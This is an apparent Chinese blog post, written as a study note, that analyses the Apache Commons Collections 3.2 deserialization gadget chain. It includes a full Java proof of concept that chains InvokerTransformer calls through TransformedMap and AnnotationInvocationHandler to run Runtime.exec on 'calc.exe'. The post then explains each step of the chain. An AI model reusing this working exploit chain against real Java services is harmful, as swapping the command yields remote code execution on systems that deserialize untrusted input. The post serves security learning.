Java安全研究——反序列化漏洞之CC链

0x01前言

apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人也是初学Java审计不久,技术薄弱,所以在此做一个cc链的学习总结,如有错误还请大佬指出。

若本文有侵权行为,请立即私信,将全面修正。

0x02漏洞环境

JDK1.8

Apache Commons Collections 3.2版本

0x03反序列化漏洞

序列化是将对象的状态信息转换为可以存储或传输的形式的过程,通俗的说,就是将对象转换成另一种形式,以方便跨平台存储和网络传输。

反序列化则是将上述过程反过来进行的操作。

在Java中任何一个对象必须要实现Serializable接口才可以执行序列化和反序列化操作。

反序列化漏洞成因:Java对象在数据的传输过程中,是以序列化的的数据进行传输,当传输至服务端时进行反序列化操作时,会调用被反序列化对象的readObject()方法。若该类重写了readObject()方法,存在一些危险操作,便会开始执行。

0x04对CC链的研究和复现

在分析前,先看一下大佬的payload,接下来一步步分析

package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class App implements Serializable {
    
    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        Transformer transformerChain = new ChainedTransformer(transformers);

        //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
        Map map = new HashMap();
        map.put("value", "test");

        //Map数据结构,转换后的Map
        /*
        TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        //反射机制调用AnnotationInvocationHandler类的构造函数
        //forName 获得类名对应的Class对象
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射调用私有的的结构:私有方法、属性、构造器
        //指定构造器
        
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制,保证构造器可访问
        ctor.setAccessible(true);

        //获取AnnotationInvocationHandler类实例
        //调用此构造器运行时类的对象
        Object instance=ctor.newInstance(Target.class, transformedMap);

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.close();

        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

1)Tranformer接口

通过对大佬文章的学习,漏洞主要运用ChainedTransformer、ConstantTransformer、InvokerTransformer这三个类。这三个类都是实现了Transformer接口的类,该接口包含了一个transform方法,以使每个实现了该接口的类可以进行固定类型的转化。

package org.apache.commons.collections;
public interface Transformer {

  
    public Object transform(Object input);

}

ConstantTransformer类的transform方法

该类中的transform方法:接受一个对象返回一个常量,无论接收什么对象都返回 iConstant。

 InvokerTransformer类中的transform方法

该类中的transform方法:接收一个对象,通过Java的反射机制获取该对象的运行时类和方法,并进行反射调用。其中方法值、参数等均是可控的。

 ChainedTransformer类中的transform方法

该类 中的transform方法:当传入的是一个数组时候,开始循环读取,对每个参数都会调用transform方法,并将前一个对象的transform方法的返回值,当作下一个对象的transfrom方法的参数值进行调用。

 到目前为止,我们先对payload的核心利用链进行分析

a)这是一个构造好的Transformer数组,包含三个上面所提到的类的对象

b)new一个ChainedTransformer类的对象,将transformer数组传入。经过ChainedTransformer把数组中的类链接到一起,构成调用链。

c)此时直接调用transformerChain的transform方法便可以执行。简单说一下过程:

        首先得到Runtime.class,接着通过反射调用获取到Runtime.getRuntime( ),此时并未开始执行,随后通过invoke方法将Runtime.getRuntime( )唤醒执行,得到了Runtime实例对象,最后获取到Runtime实例的exec方法,并执行calc.exe。

        注:详情请见大佬文章Java反序列化漏洞分析 - FreeBuf网络安全行业门户

2)TransformedMap类

在1)上讲解了不同的实现了Tranformer接口的类中transform方法的链式执行,这只是我们手动去写代码进行执行。而该cc链要如何利用?从1)中的核心链执行结果来看,就是要找到ChainedTransformer类中的transform方法在哪里被调用了,然后继续寻找上层的调用,最终寻找到readObject方法。

a)TransformedMap类中 checkSetValue 中调用了 transform 方法

看一下他的构造函数

接收一个Map,并将keyTransformer、valueTransformer进行赋值,但是构造方法是protected类型。

b)向上寻找,找到了decorate方法,返回一个可以自定义的TransformedMap类

3)AbstractInputCheckedMapDecorator类

这里面的静态内部类MapEntry的setValue方法调用了2)中 checkSetValue方法,同时TransformedMap类是AbstractInputCheckedMapDecorator类的子类,再去寻找其父类

有一个点:TransformedMap类继承于-->AbstractInputCheckedMapDecorator.MapEntry类继承于-->AbstractMapEntryDecorator类实现了-->Map.Entry接口,因此我们便可以利用Map来使代码执行。

也就是payload中的

 4)AnnotationInvocationHandler类

这里需要导入sun包源码,方便调试,导入方法大佬们应该都会,我就不写了

源码下载地址:jdk8u/jdk8u/jdk: af660750b2f4

继续寻找上层的调用函数,去寻找哪个方法调用了setValue方法,AnnotationInvocationHandler类中的readObject方法调用了setValue方法,终于找到了readObject方法,这正是我们想要的。

看一下readObject方法代码,发现了setValue方法。

 看一下构造函数,这个Map我们可以控制,可以利用我们上面构造好的map。

5)序列化和反序列化

payload最后这部分就很简单了,获取AnnotationInvocationHandler类的对象并将我们构造好的transformedMap传入,反序列化之后,就会造成反序列化漏洞。 

0x05结束语

开始研究Java安全,有一个星期左右,狂补各种Java基础和开发基础,也仅仅是做了一个学习笔记,以后自己可以翻看。

用了三天时间,参考各类大佬的文章,终于搞懂了CC链。本文也是简单分析了CC链的过程,比较浅显,尚有不足,很多细节还需要去学习。

 参考链接:

Java安全入门(二)——CC链1 分析+详解_ErYao7的博客-CSDN博客

Java反序列化漏洞分析 - FreeBuf网络安全行业门户

    

        

  • 1
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值